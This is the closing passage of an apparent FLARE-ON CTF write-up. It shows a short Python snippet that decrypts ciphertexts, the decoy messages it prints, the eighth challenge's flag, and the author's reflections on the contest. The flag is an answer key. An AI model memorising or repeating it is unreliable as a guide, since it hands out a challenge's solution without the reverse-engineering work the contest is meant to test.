plaintexts = [decrypt(ct) for ct in ciphertexts]

for pt in plaintexts:
    print(pt)

Running this prints:

1
2
3
4
b'Good thing this is on the testnet'
b'Yet more noise!!'
b'I wish this was the flag'
b'N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com'

And we got the eighth flag!

Conclusion

As I said in the introduction, I highly enjoyed playing this CTF, and learned many new things. All of the challenges were fun, but all in all my favorite ones were 7 and 5. I liked how the challenges were very diverse and spanned many different types of programs to reverse: Python, Golang, YARA, JS, a core dump with encrypted shellcode, AOT .NET, and more. I’m really looking forward to playing next year’s FLARE-ON!

Thanks for reading! Yoray

This post is licensed under CC BY 4.0 by the author.